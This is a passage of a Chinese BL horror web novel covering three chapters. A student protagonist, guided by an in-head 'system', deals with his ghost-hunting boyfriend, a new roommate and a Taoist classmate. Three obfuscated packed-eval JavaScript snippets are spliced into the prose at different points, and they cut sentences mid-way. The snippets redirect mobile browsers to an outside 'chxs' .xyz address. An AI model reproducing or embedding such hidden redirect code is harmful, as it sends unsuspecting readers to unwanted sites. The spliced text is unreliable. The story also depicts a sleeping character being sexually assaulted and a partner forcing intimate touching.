虽然被顾铭凌骇了一下,但这个小小的插曲没有影响两个人的双排,又玩了几把以后,卿向南才恋恋不舍地表示自己要先下线了。 顾铭凌也预备下线:“下次想玩记得找我。” 卿向南忙不迭地应声:“好好。” 玩瑶爽躺好几把,傻子才不继续找顾铭凌玩。 卿向南关掉游戏,给闻时秋打去电话。 电话响了好几声,对方果然没接,看来是还没出副本。 卿向南并不担心闻时秋看不到自己的来电。 鬼蜮出现以后并不会产生一个和现实隔绝的空间,而是在现实世界形成一个奇特的场地,里面的人能够接收到外界消息,外面的人也能接收到里面的消息,但是通话时鬼蜮会顺着信号蔓延传染给鬼蜮外的人,慢慢地鬼蜮之外的人就会越来越吸引鬼蜮,从而也被卷入其中。 因此在鬼蜮里的时候,闻时秋从来不与卿向南通话,只是在看到未接来电时明白他的小卿正在找他。 【不知道男主会在几个小时以后回你电话?】 卿向南想了想,回忆了一下最近一个月的数据。 “上个月有三次都没接电话,平均2小时后回的我,算上刚刚也已经有了两次了,啊,这个家伙!” 卿向南看着手机上新弹出的消息——小卿,我在实验室里,这里太吵了,你有什么急事吗? 卿向南看他还能回自己消息,立刻选择push他一把:快点回我电话。 他趴在床上,把被子和枕头塞在手臂下支撑,是一个很轻松地玩手机的姿势,也不会让肩关节受累。 “今天还来不来接我啊,我想吃学校附近的烤鱼了,”卿向南认真地发完这条消息,又很认真地数着自己要点什么,一条一条给闻时秋发过去。 闻时秋将手机屏幕亮度调暗,隐蔽在门后。 墙外响起噼里啪啦的雨声,薄雾蔓延开来,几乎弥漫了整个空荡荡的楼层。 电梯叮了一声,在这一层停住,但电梯门却没有立刻打开。 卿向南的消息一条接一条地发了过来。 ——想加豆芽、土豆。 他简直可以想象出卿向南的表情,想象出卿向南如何认真又贪吃地挨个打出这些字。 ——要加脆脆的藕片,然后是鱼豆腐,一定要老板把鱼豆腐弄得两面焦黄那种,吃起来很香。 雨水顺着天花板滴落,这一层完全是水泥胚,因此雨水滴落的声音竟然激起回音。 ——还想加韭菜和金针菇! ——要是回学校晚了的话就赶不上宿舍宵禁了,我还是想跟你在店里吃烤鱼。 “扑哧!” 电梯门摇晃着打开,凭空出现一道笑声,且越来越近。 雾气越来越浓,几乎看不清楼层内的布局,更不要说其他也被选中进入鬼蜮的人。 “怎么办?” 即使是坚持到此刻的人也终于有些情绪崩溃,完全失去判断力,只把希望寄托在闻时秋身上。 闻时秋还在低头看屏幕上的消息,屈指回复:宝宝,我会早点来接你的。 在他发出消息的瞬间,楼外忽然闪过一道惊雷,借着闪电刹那的光亮,他们终于看清眼前有一道巨大的扭曲人影。 那人影臃肿异常,长如蚯蚓的脖子正弯曲着垂下,脑袋上两只瞪圆了几乎鼓出来的眼珠子死死盯着闻时秋。 极端的恐惧令一名年轻人瞬间晕倒在地,心脏停搏,脸色苍白地失去了知觉。 只在这个时候,闻时秋却抬头,将手机放好,与怪物对视。 小卿,我会按时来接你的。 · 两个小时以后卿向南接到了闻时秋的回电,他听出闻时秋的声音略有些喘,便自然而然地问他刚才干嘛去了。 “帮忙搬了点东西。”闻时秋垂眼,将身上染血的衣服脱下,扔进火堆里烧掉。 身边有人正庆幸自己劫后余生,抖着手给自己点燃一支烟,看见闻时秋,不由得想要讨好几分,将手里的烟递了过去。 闻时秋绕开他,一手捂住手机话筒,低声警告,“别把烟味沾到我身上,离我远点。” 处理身上的血腥味已经很花费时间,他没有耐心因为沾上烟味再去处理一次。 但接着,他的声音又变得很温柔,十分专注地听电话那头的抱怨。 “怎么这么久才回电话?我觉得你最近根本是在冷暴力我!我说要吃的东西你看了没有?什么时候来接我啊,我肚子好饿。” 其实也没有很饿,卿向南单纯只是嘴馋,但他喜欢跟闻时秋抱怨这些,闻时秋认真听着的时候也让他觉得很开心。 “我已经在过来的路上了,”闻时秋看了一眼手表,皱了皱眉,却没有让卿向南察觉到,“很快就会到,你收拾一下,等我电话。” 等卿向南挂了电话,他终于拨给没有显示号码的用户,几分钟以后,一架直升机停在顶层,闻时秋坐了上去,以极快的速度到达卿向南家附近,然后坐上专人准备的轿车,往卿向南家楼下开了过去。 到达时他给卿向南拨去电话,对方很快就接通,带着点儿抱怨地出门,然后告诉他自己在等电梯。 闻时秋眼皮跳了一下,难得有些情绪不稳。 “等一下,宝宝,我上来接你。” 他从车子后备箱里找出一个还算过得去的礼盒,非常自然地给出了合理的解释,“正好我也上来看看叔叔阿姨。” “好吧,又要等你,你好烦哦,事情真多。” 卿向南抱怨着,内心却放松下来,忍不住弯了弯嘴角,庆幸自己不用一个人坐电梯下楼。 他光是脑补一下闻时秋会遇到的事情有多可怕就受不了,更别说一个人坐电梯下去了。 这样一想更觉得以后的日子不好过,那些鬼什么的只是想一想就好害怕,整个人都要晕过去了。 简直像是那种出了事以后只会流着眼泪说老攻怎么办呀我什么都不会的小可怜。 【这岂不是更好?】 系统赞许道。 【不然要男主干什么?】 【宿主,抬头挺胸!】 【男主是拿来干什么的!】 卿向南红着耳朵嗫嚅。 【当老公的。】 【不是,不是这个诶,我意思是,宿主,我们就是为了给他成长才开始的任务对不对?】 【任务难度越高是不是就磨砺得越强?】 卿向南跟着点头。 【那现在你越没用是不是男主就能越强?】 卿向南猛点头。 【很好,也就是你越没用任务就完成得越好,是不是?】 【是。】 系统大喊。 【大点声!不够有气势!】 卿向南遂大声道。 【是!!!】 正在脑内对话,门铃倒是响了。 卿父过去开门,门只一打开,就忍不住带着笑意接过闻时秋递来的礼盒。 “小闻你说你,人都来了,还带什么礼物啊?真是太见外了。” 闻时秋温和地笑了笑,“只是顺手带了点东西,算不了什么,叔叔,我来接小卿回学校。” 卿母坐在沙发上抬起头来,“啊,小闻,又来接卿卿返校?正好我们没煮饭,你和他在外面一起吃了吧。” 卿父看了一眼厨房,虽然有些困惑,但还是顺着老婆的话说,“对对,我们就懒得煮他的了。” 说着便去敲卿向南的房门,让卿向南快点出发。 闻时秋听着门后卿向南趿拉着拖鞋走来开门的声音,面上的笑意不由自主地浮现而出,开门的瞬间看见卿向南睡红了半张脸,忍不住放柔了声音,“小卿,现在出发?” 卿向南点了点头,跑去卫生间洗漱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985787|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,正对着镜子刷牙,闻时秋就已经拿着细齿梳和小皮筋来帮他打理头发。卿向南的发型特别,略微偏分,一边头发猫耳一样卷起,另一边头发则略微被一条松软漂亮的小辫子压住,垂下来的刘海连着脸颊边的卷发让他的脸带着一点儿猫感,小时候夏天天气热,自己跑去理发店要求剃光头时理发师怎么都不敢下手,盯着他的脸问他到底是男孩女孩。 因为那时候热的身上长痱子,雪白的皮肤上全是一颗颗小红点,所以每到夏天就贪凉,可偏偏又怕冷,冬天围着火炉不撒手,几乎烤得人要冒烟,最终卿父卿母给家里铺了地暖才作罢。 洗漱完毕,头发也被闻时秋细心扎好,自然就该返校,卿向南收拾带回学校的东西,唯独手机落在了浴室,他粗心大意,消息竟然是锁屏可见,闻时秋拿起时正好看见了新弹出的消息。 [超会玩的学神:你在学校吗?今晚约个饭?] 屏幕的荧光落在闻时秋眼里,显得他的双眼晦暗不清。 闻时秋没有解锁卿向南的手机,将他的手机放回原处,假装没有看见。 只是心底多少又念了一遍卿向南给对方的备注。 ——超会玩。 闻时秋忍不住心底冷笑一声。 能有多会玩? 他倒是真想见见那个勾引卿向南的小三了。 转头见到卿向南时却还是露出温柔的笑容,甚至在听到卿向南惊慌大喊手机找不到时还能轻轻地嗯?一声。 “是在卧室里吗?” “当然不在啊!傻瓜,要是在的话我刚刚肯定找到了。” 卿向南在房间里来回找,忽然想起卫生间,连忙过去找到了手机,屏幕都没解锁看一眼,就跑回来挽着闻时秋的手急急忙忙出门。 “快点快点,去晚了要排好长的队,而且今晚我有约了!” “好,”闻时秋笑眯眯地问,“要我吃完饭送你去赴约吗?” “不用啦,只是和室友们聚一下而已,就在寝室里。” 闻时秋愣了一下,有些不可思议。 小卿的室友早就出国了,后来在他的暗示下也就那样空着,如今却突然要有室友了。 “你不是只有一个舍友吗,小卿?而且那个舍友出国当交换生不是要一年?” “就是他,据说是因为什么特殊情况提前结束了交换,现在回来了,”卿向南有点儿神往,“我也要有室友了!” “其实可以跟我住,小卿,等我把手上的事情处理完,我们可以在学校附近租一间房,到时候你想做什么都可以,比在宿舍里自由。” 卿向南有点儿心动,可是他很快反应过来这本书的题材,立刻不心动了。 和你住一起万一我也进入无限流世界了怎么办?而且好不容易可以在班上发展一个朋友,虽然闻时秋你是很好啦,但是老公是老公朋友是朋友哥哥是哥哥嘛。 说不定这个家伙回国以后因为和周围人都不熟,就只能跟自己成为朋友,班上其他同学也慢慢发现,哦,小卿人超好嘛!于是也都不孤立我了呢? 卿向南遂果断拒绝了闻时秋。 【拒绝的对,宿主,你要是跟他一起住,他肯定会睡你。】 卿向南脸蛋暴红。 【什、什么?】 【就是对你这样那样,翻来覆去,不停地这样那样,一夜十七次……最后小仓鼠吃芭蕉,年纪轻轻因为合不拢去医院挂号,整天都红红肿肿的只能趴在床上哪儿都不能去,火锅冒菜干锅酸辣粉烤鱼都别想吃!】 卿向南被系统说的话吓得脸色惨白,嘴唇哆嗦。 闻时秋不由得产生困惑,“为什么不一起住?” 卿向南哆哆嗦嗦,吐出几个无力的控诉。 “因为你、你会弄我……” “什么?卿卿我——” 卿向南哭了。 “我不要小仓鼠吃芭蕉!” 5. 欺负傻子 闻时秋完全不知道卿向南的小脑瓜里都想了什么,那句小仓鼠吃芭蕉更是惊世骇俗把他也打得头昏眼花,无奈他尽管想否认,可却没有否认的底气,只能不断允诺不会那么快也不会因为这个去看医生。 一通哄才把人哄好,停车时他整个人也有点儿神志不清,开始思考卿向南平时都在看什么。 最终还是化为了一个困惑。 “你什么时候看到我……的……那个了?” 卿向南缩在窗边摇头,“没看过……” 闻时秋于是忍不住去拉他的手,“你摸摸就知道了,没那么吓人。” 怎么可能到那种地步,他俩也没那么大体型差。 可是卿向南却一缩手,指尖差点儿从闻时秋掌心溜出去,被闻时秋用力握住,只觉得卿向南的手指怎么这么软,骨头也纤细,心底便忍不住哄了一声。 “乖,宝宝,你自己接触一下,就知道没那么可怕了。” 说着,便压着人往自己这边碰。 卿向南被迫感受到,指尖一烫,猛地收了回来,又被闻时秋按着肩膀压回来,指尖发颤地,从头到尾地感受了一次。 整得最后两个人好一会儿才下车,差点儿连烤鱼都吃不上。 卿向南把手洗了好几次,皱着鼻子,有点儿崩溃地反复擦手。 【你说的是对的。】 卿向南在内心大哭。 【真的也没差多少了!】 【早说了现在小说数值膨胀,那方面更是个个都不服输的,宿主,听我的总没错的。】 完全不知道自己试图澄清的行为只是让卿向南更坚定不要挨几把苦的闻时秋守在厕所旁边,嘘寒问暖。 “要帮你把包拿着吗小卿……” “菜点好了,你说想吃的那些都有,你想喝什么?” 卿向南没理他,经过他的时候脚重重踩他鞋上,用力碾了碾,这才觉得自己找回面子,有报复到男主。 吃完饭更是没说几句话就回了寝室,闻时秋自知理亏,看了看时间,转头回了实验室加班加点干活。 卿向南则发现,原来室友已经整理好床铺了,他回来得有点儿晚,室友已经躺在床上玩手机,好像没有要跟他打招呼的意思。 卿向南就先跑去刷了牙,又提着水壶去水房打水,洗漱完以后又想表现自己是好室友的样子,于是把寝室里的垃圾装进袋子里,收拾好以后扔到垃圾箱里,这才又回寝室。 他这么进进出出,发出的声音不小,本打算补眠的室友闭上眼睛长叹一口气,却在这个时候听见床下有人问他,“你要不要吃零食。” 掀开眼皮往下一看,正是他那个室友举着薯片问他要不要吃。 室友有点儿不耐烦了:“不想吃。” 卿向南没想到对方这样说话,他以为自己已经表现得很好了,站在原地想了想,却发现自己不记得室友名字,眼神慌张地左右看看,才在对方书桌上看见冯义两个字。 “冯义,”这次他说话的声音小了点,但还是有些固执,仰着脸看人,手上把零食举得高高的,“我还记得你的名字呢,我们是室友啊,就是要搞好关系的,你真的不想吃这个吗?” 明明这个怪好吃的, 冯义坐起来,俯身看他,眼睑下淡淡的黑色配着他提不起劲来的表情显得他很困。 这下就算是傻子也该看出来了。 卿向南有点儿心虚,“对不起,不知道你想睡觉……” 说着,手也垂了下去,缩了缩脖子。 看起来怪可怜的。 冯义本想说几句重话,被他这么一看,话到嘴边又咽了回去,不自觉嗯了一声,“确实是很困,有什么明天再说吧。” 卿向南只能压下对室友的好奇心,乖乖上床睡觉。这下他知道别吵人了,因为太想和舍友处好关系,小心翼翼关了灯以后,爬上床时一个脚滑,呜声咬碎在嘴巴里,慢吞吞缩进被子里躺好。 简直有点儿太可怜了。 根本没办法睡着的冯义有些内疚。 算了,对方已经这么努力了,他也努力快点睡着补觉吧。 闭上眼,正在酝酿睡意,忽然对面床上拱出来一个小小的脑袋,对着他喊,“晚安。” 冯义闭上眼,深呼吸了一下。 然后低声回答,“晚安。” 卿向南兴奋地在被窝里转了一圈儿。 按照这个发展,他很快就会有朋友了,马上就能改变被大家孤立的现状! 他按开手机,急着想跟闻时秋发消息分享,可打开对话框又想起今天的“不愉快”,连忙退出对话框,这个时候,也正好在一堆消息里面看到顾铭凌的。 卿向南就点进去,回复了顾铭凌的消息。 [卿向南:我有男朋友诶,不好跟你一起约饭吧?] 顾铭凌正在休息,被手机的亮光震醒,他本不打算回复,但还是看了一眼。 是那个他之前遇到的,感应到身上气场很干净的人。 身边一点儿鬼没有,更不必说被拉入无限世界的可能性了。 如果可以,真想私底下和对方接触一下,对方身边的空间至少会有片刻的清闲。 他已经受够了厉鬼缠身的日子,也受够了连闭上眼睛都能见鬼的日子。 打开手机,却看到对方发来的消息。 ——[我有男朋友诶,不好跟你一起约饭吧?] 好烦。 顾铭凌对那不知样貌的男朋友起了杀心。 他已经被折磨太久,只是想有机会得到片刻安宁,就这么难吗? 他被扰的睡不着觉,从床上坐起来,顶了床边脖子如蛇般绕着床栏缠绕,正对着他笑的鬼脸一眼。 脸上带着戾气,将手掌按在鬼脸上,猛地下压——那鬼便寸寸粉为灰飞,甚至来不及发出惨叫。 他的掌心印着天师纹,这些东西本该没有单子近他的身,可偏偏他身上却背着一个极为恐怖的鬼蜮——万鬼窟。 这些鬼怪几乎是被洗脑一般找上门来,想尽一切办法纠缠他,等着他把它们打得灰飞烟灭,被万鬼窟吞噬,或者将他杀死,取而代之。 顾铭凌打开手机,给那边发去消息。 [是吗?只是吃个饭而已,他何必这么小气?] 卿向南又接连收到几条消息,点开一看,都是顾铭凌发来的。 [很会玩的学神:是吗?只是吃个饭而已,他何必这么小气?] [很会玩的学神:这么小气,你平时和朋友相处怎么办?你是男生吧?] [很会玩的学神:他这样搞,你岂不是没什么朋友?] 卿向南倒吸一口凉气。 [我怎么觉得他说得有道理……] 难道他人缘不好都怪闻时秋? 卿向南躺在床上,脑子里乱七八糟地想着闻时秋的种种罪行和可能存在的罪行。 想着想着竟然就睡着了,睡意蒙眬间,竟然觉得自己翻了个身。 很奇怪的感觉,不像是自己主动翻身的,可又没感觉到有谁在推自己。 只是觉得手脚有些沉,不太愿意动,接着,就是一股凉气,对着后腰吹了过去。 卿向南立刻觉得身下好像失去知觉一样,动也动不了,总觉得身上好像发生了什么奇怪的事。 简直像是被压了床。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985788|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 整个人被压着,下身连一丝挣扎都做不了,趴在床上,脸侧压在枕头上,昏昏沉沉的,觉得奇怪。 怎么会这样。 “呜……” 卿向南无意识地哼了一声。 他的脸颊绯红,颈后显出一点儿亮晶晶的汗水。 因为奇怪的感觉,眼睫湿成一簇一簇的,睫羽颤抖着,努力想要睁开。 卿向南的指尖努力地动起来,想去摸手机。 他觉得下面很奇怪。 意识恍惚间,甚至感觉听到了皮带扣解开的声音。 这个时候,才感觉到两边膝盖被一只手捏住,扣在一起。 “乖。” 那气息贴着他的后颈,卿向南紧闭着的眼睑下,几乎能够看到眼球颤动了一瞬。 接着,就浑身无力地陷入了沉睡。 只有再难忍耐的泪珠顺着眼睫凝聚成滴,啪的一声坠落,在枕头上晕染开。 其实根本没什么声音,因此也就没有被发现。 只是整个人匍匐着,身体朝前一撞,又被往后拉了一下。 好一会儿之后,才被发现小半边枕头已经叫哭湿了,这时才被人又放开。 …… 卿向南醒来的时候先伸手去摸了鼙鼓。 他觉得真的有点儿怪怪的,再一从床上起来,宽松的睡衣竟然从后腰掀到肩膀了。 卿向南搞这些的时候已经忘记了室友还在,直到冯义咳嗽一声,问他需不需要带早餐。 “不用了,谢谢你,我男朋友会给我带。” 目送室友离开,卿向南连忙给闻时秋打了电话。 闻时秋看起来好像昨晚在实验室工作了一夜,出现在视频里时一副刚醒的样子,两指捏了捏额角,声音低哑地问。 “喂,宝宝,怎么了?” 卿向南忍不住把昨晚的事全给他说了一遍。 闻时秋表情几度变化,最后安慰他世界上可没有鬼。 卿向南强调:“就有!” 闻时秋反问:“难道你身上有受伤吗?” 卿向南有点儿生气了,想到昨晚的事,更觉得伤心,连忙点了视频,要给闻时秋看证据。 “我真的觉得不对劲,感觉很奇怪。” 闻时秋一时间说不上话来。 忍不住又问。 “怎么敢给我看?不怕我弄你?” 卿向南瘪了瘪嘴,有点儿伤心,“你都不安慰我。” 说着,他又带着呜声,很小声地、边掉眼泪边说。 “而且、而且被老公弄,总比被鬼好……” 门外忽然传来叮啷一声响,冯义勉强扶住了门,在心里思考自己装没听见的成功率能有多高。 偏偏这个时候,卿向南却泪眼蒙眬地从床上抬起头看他一眼,又泪眼蒙眬地跟电话那头的“老公”说拜拜。 “反正你一定要帮我想办法,我室友回来了,先不跟你说了,老公拜拜。” 接着,又在床上把裤子提起来,衣服穿好,踩着梯子下床。 “谢谢你啊冯义,多少钱呀,我转给你。” 冯义有点大脑过载。 “没关系,不急——” 可卿向南已经调出扫码界面,于是只能先加好友。 通过好友时赫然看见对方朋友最新一条内容。 【和男朋友去吃了烤鱼,超好吃!】 【配图】【配图】【配图】【配图】 冯义感觉到自己马上就会被男同病毒感染,一时间有点儿呼吸不能。 怎么能叫男人老公? 不是,你是一个男的,你怎么能叫男人老公? 6. 大师求你给我驱鬼 冯义不语,只是默默递饭。 卿向南伸手接的时候更是害怕,又担心饭掉地上不能吃,快速地把自己的手收了回来。 被卿向南的指尖碰到的瞬间冯义几乎全身发麻。 他面前维持着表面的镇定,说自己要出门走走,走出寝室,已经开始搜索附近租房信息。 正看着,屏幕上方弹出来一条消息,冯义走到无人处,接通了电话。 电话那头传来年轻的女声,询问他状况如何。 “还好,我没什么事。” 冯义汇报起自己在国外的情况,“事情确实很难解决,我过去以后只处理完了一只,后续情况风险太大,相关信息也没能掌握多少。” 女人嗯了一声表示知道,那边的背景音嘈杂,冯义明白对方正在忙,正准备挂断电话,忽然听见对方冷不丁又问了一句,“听说你要在外面租房?” 这个消息女人知道倒也没什么好惊讶的,他才挂出了寻求租房的信息,女人作为他的队长,自然也会知道。 “怎么,寝室里住得有问题?只有三天假期,不好好休息,浪费时间折腾租房?” 冯义不由得有些脸红,“倒是没什么问题,只是和室友相处习惯上不太一样……” “行吧,总部帮你安排了房子,正好去跟顾家那个小辈住一层,那地方风水我这边已经看过,你过去住,有顾铭凌帮你招蚊子,也算清静。” 女人勾唇笑了一声,“多和顾铭凌聊聊,以后你们说不定会进一个鬼蜮呢?” 冯义大热天里忍不住背后生寒,忍不住叹气:“我可不想那么快就跟那个家伙匹配到一起去。” 他放下手机,看了看一旁的奶茶店,就近找了个位置坐下,没过一会儿就收到了女人的消息,正是给他安排的新家地址。 正在这个时候,抬眼就看见卿向南一个人出了宿舍,因为穿着短裤,两条长腿在太阳底下白得像在发光,害得他一眼就瞧见,立马移开了视线,心有余悸地喝了一口奶茶,又因为太甜而皱眉,默不作声地把奶茶推到一旁,漫无目的地发呆。 一发呆,神思飘荡,不知怎么的,忽然被一句“可是、可是被老公弄”惊得坐直了身子,这才回过神来,自己刚才满脑子都是卿向南。 这实在太可怕了,冯义立刻起身,决定今天就搬离宿舍。 · 顾铭凌没想到卿向南居然会主动来找他,收到消息的时候他有些意外,只看了一会儿卿向南发来的那句话,就收好手机,趁课间从教室后门溜了出去。 等到了地方,发现卿向南竟然还没有到,于是又找了个阳台站着发呆,等看到卿向南发来消息,告诉他自己已经到了,问他什么时候到的时候,顾铭凌才绕了个路现身,在卿向南面前坐下。 一看见他,卿向南的眼睛就亮了一下,迫不及待地对他说,“你一定要帮我!” 顾铭凌问他:“你想我怎么帮你?” 说着,顾铭凌把手机拿出来,长指在屏幕上点了点,显示出卿向南发来的消息。 【卿向南:大师,求你给我驱鬼TT】 学校里当然会有人知道他住在道观,毕竟世界上没有不透风的墙,但是不至于这么神神叨叨地,一上来就让他驱鬼。 何况是在他已经警告过对方不要随便提鬼相关的东西的情况下。 人的信念是很神奇的,有时候越对一件事产生频繁的关注,这件事就越有可能发生,但他今天来看卿向南,发现卿向南周身仍然是干干净净的,甚至围绕着卿向南有一片白色的柔光,哪怕此刻图书馆里已经密布鬼魂,卿向南身上也没有任何鬼气。 大概率不是真的碰到鬼了。 这样想着,顾铭凌不由得勾唇,只是眼底没什么笑意,他总是一副冷若冰霜的样子,礼貌不过是他的修养。 以至于有时候只是平静说话,也会显得有些压迫感。 “不是说你有男朋友,不好跟我一起吃饭吗?” 顾铭凌看着卿向南,一字一句地问,“怎么这个时候不去找你的男朋友,却来找我了?” 于是便看见卿向南脸红了一下,手指抓着桌沿,略有些慌乱地解释,“他比较忙,而且这个不算私下吃饭吧?同、同学之间也可以互帮互助吧……” 卿向南自己说的也觉得自己真是厚脸皮。 但他已经被昨晚的鬼吓到,迫切地希望从顾铭凌这里搞点天师的护身符来用。 即使身上没有一点儿伤痕,可是贴着颈后的湿热以及被钳压在床上的感觉都不是幻觉,一想到自己还不知道鬼长什么样子,要是个超级丑的色鬼岂不是隔夜饭都要吐出来以后,卿向南更觉得要到符纸这件事十分迫切。 不是进入副本以后会主动给队友发符纸的吗?可见那个东西也有很多吧…… 要是自己努力一点儿,说不定顾铭凌会愿意给的。 卿向南这么想着,豁出去般开口,“我也可以和你交换帮忙啊,说不定你哪天也需要我帮忙呢?而且我听说过你住道观的,所以遇到奇怪的事才想找你帮忙嘛……” “我不是什么大师。” “没有说你是那种江湖骗子的意思啦……”卿向南红着脸说,“只是道观不是都有符纸嘛?给我一张就好了……” 他看周围同学越来越多,不得不挪着板凳,往顾铭凌那边移过去,从桌子一端,背对着其他人,移到顾铭凌身边,往顾铭凌耳边凑近了小声说,“我只是感觉自己碰到色鬼了……” 顾铭凌眸子轻转,看向卿向南领口露出来的一截锁骨,“做梦了?” “对……” 卿向南一只手虚虚拢着,靠在嘴边,唇靠得极近,这个视角看,他实在有点儿可爱到过分,说话的时候嘴巴小小地张开,因为说着令人害羞的事,面颊和耳尖都泛起红晕。 “就是这样,后面我睡着了,不知道有没有被得逞……” 顾铭凌意识到,卿向南对自己的鼙鼓看得很紧。 他开口,不知为何嗓子有些哑,但好在很快就恢复了正常,“一般人只会当这是春|梦,不会像你这样……” “啊!”卿向南忍不住叫了一声,面红耳赤地打断顾铭凌的话,小声又努力地强调,“我不是那种色|色的人!” 顾铭凌蒙了一下,感觉卿向南像炸毛了,只得闭嘴,还要听卿向南辩解,“我不是那种会自己偷偷幻想色|色事情的人!你污蔑我!” 这种事能有什么好反复争吵的…… 顾铭凌也不由得有些耳红,只是很快恢复了常态,“知道了。” 他又接着问了些细节,卿向南把自己和闻时秋怎么去吃饭的,吃完饭又干了什么,怎么回到宿舍的,说到室友的时候,顾铭凌眼神一冷,问他,“你室友昨天晚上回来的?” 卿向南萌萌地啊了一声,似乎完全没有察觉异常。 只有顾铭凌的眉不着痕迹地皱了皱,“离你室友远点,找时间搬出去住吧。” 他知道卿向南的一些消息,会有男生女生称呼卿向南为校花。 男人喜欢男人鼙鼓不是什么罕见的事,他只是没想明白卿向南既然这么宝贝自己的鼙鼓,为什么还敢住男生宿舍? 卿向南的室友显然也不是什么老实人。 顾铭凌的声音冷了点,“尽快搬出去,不然以后这种事还会发生。” 卿向南被他这句话吓得魂飞魄散,脑子里脑补出一堆恐怖画面,什么床下有人,背后有鬼,头顶天花板一直趴着怪物…… 整个人呼吸困难,吓得要晕过去,还不争气地想上厕所。 【没关系的宝宝想上厕所不丢人。】 系统淡定地安慰他。 【你现在去上厕所我陪你一起好吗?你不是鬼片里面一个人上厕所的落单炮灰。】 卿向南这下厕所都不敢去上了,直接抓住了顾铭凌的胳膊,泪流满面,“大师给我一张符好不好。” 说的话和动作神态已经快让人觉得顾铭凌就是诓骗笨蛋的江湖神棍了。 顾铭凌伸手把卿向南的手指往下推,没想到卿向南忽然凑这么近,胸口贴着他的手臂,整得他手臂发麻,也有些无措。 “好,你先松开。” 他扒拉一下没弄开,不由得起身,结果卿向南跟着他一起站起来,于是顾铭凌不得不对上卿向南的眼睛,难以抗拒地点头同意,“我现在去给你拿。” 卿向南终于和他分开,只跟在他屁股后面走,顾铭凌按电梯的时候看见他安安静静站在自己身旁,因为身高差能看见卿向南白皙的鼻尖。 老实说论坛里有些话倒是说得没错,卿向南确实很可爱,哪怕是直男也会觉得和他谈恋爱也不是不能接受。 顾铭凌带着卿向南往自己家里走,快要出校门了卿向南才发觉不对,“你不是说去拿符纸给我吗?” 卿向南困惑地看了顾铭凌一眼,很快又反应过来,“哦,你住在学校外面。” 这个时候,顾铭凌产生一种本不该有的担忧。 他觉得卿向南很好骗。 他还没有解释,卿向南自己就先给自己找好了合理的解释,如果他是什么坏人,卿向南肯定被骗的裤子都没了。 但好在他不是什么坏人,于是对于这样的笨蛋他起了一点儿同情心。 “我在外面有租房,”顾铭凌说,“如果你不方便在外面租房的话,以后可以和我睡。” “我有男朋友……” 顾铭凌少见地打断了别人,抢先回答,“知道了,你有男朋友,不好和别人一起睡。” “不是啦,我是说我男朋友会给我租房子的。” 卿向南拿出手机给闻时秋拨号,那边很快接通,顾铭凌看卿向南的样子有点儿不太喜欢。 他觉得这也太娇了,简直像是离了男朋友不能活一样。 电话接通以后,就是软软的一声老公。 “老公,我想在外面住了,今天就搬出去好不好?”担心闻时秋拒绝,卿向南连忙说,“不可以说不好,你帮我搬东西,我不回宿舍了。” 想到连顾铭凌都警告他快点搬离宿舍,卿向南简直不敢想宿舍里有什么怪东西在潜伏着,一时间又觉得闻时秋可怜巴巴的,被自己骗着什么都不知情地去干活,等下说不定还要被鬼抓进鬼蜮出不来。 于是又说,“老公你最好了,我会记得你的好的,你想让我帮忙做什么也可以。” 接着,他又意识到万一闻时秋被抓进去了,那他自己在外面怎么住?一个人开宾馆吗?万一遇到鬼怎么办?立刻忍不住接着说道,“你先把房子钥匙给我,我先住进去。” 一通电话,转瞬之间就要对方把事办成,这是何等的骄纵任性且没常识,偏偏在场的另外两个男人脑子里都没有意识到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14985789|161536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾铭凌不太想听小情侣之间的电话,闻时秋已经把新家的地址给了卿向南,还告诉了卿向南门锁密码。 甚至回复卿向南,“我现在就去帮宝宝搬家。” 卿向南挂断电话,对顾铭凌说,“我搬出去了,什么时候给我符纸呀?” “很快,”顾铭凌打开车门,让卿向南上车,“我租的地方离这里很近,到时候也可以顺便送你去你的新家。” 顾铭凌看着卿向南坐到后车座,心底忍不住想,卿向南看来已经把他当成了司机。 刚才说的话也是,脑回路总和其他人不一样。 ——“什么时候给我符纸呀?” 明明是很普通的一句话,说出来就好像他乖乖干了什么值得被奖励的事情一样。 简直像是天生就被人宠着,所以被宠坏了,对待别人都一个样子了。 也就是因为长得还算漂亮可爱,所以才这么多人惯着。 两个人在楼下等电梯的时候,卿向南看着地面上堆积的行李忍不住说了一句,“没想到你这里也有人搬家啊。难道今天很适合搬家吗?” · 冯义搬东西出来的时候正好撞见闻时秋,彼此客气一句就借道离开。他没想到卿向南也会搬出去,不过想一想也很正常,卿向南的男朋友不可能放任卿向南和别的男生住一个宿舍的。 不过这些他不太在意,只是一个人抱着东西打了车往新住址跑,虽然只是宿舍里的东西,但也还是需要分两趟走,正准备去运最后一趟,电梯门开的瞬间就听见了卿向南的声音。 “难道今天很适合搬家吗?” 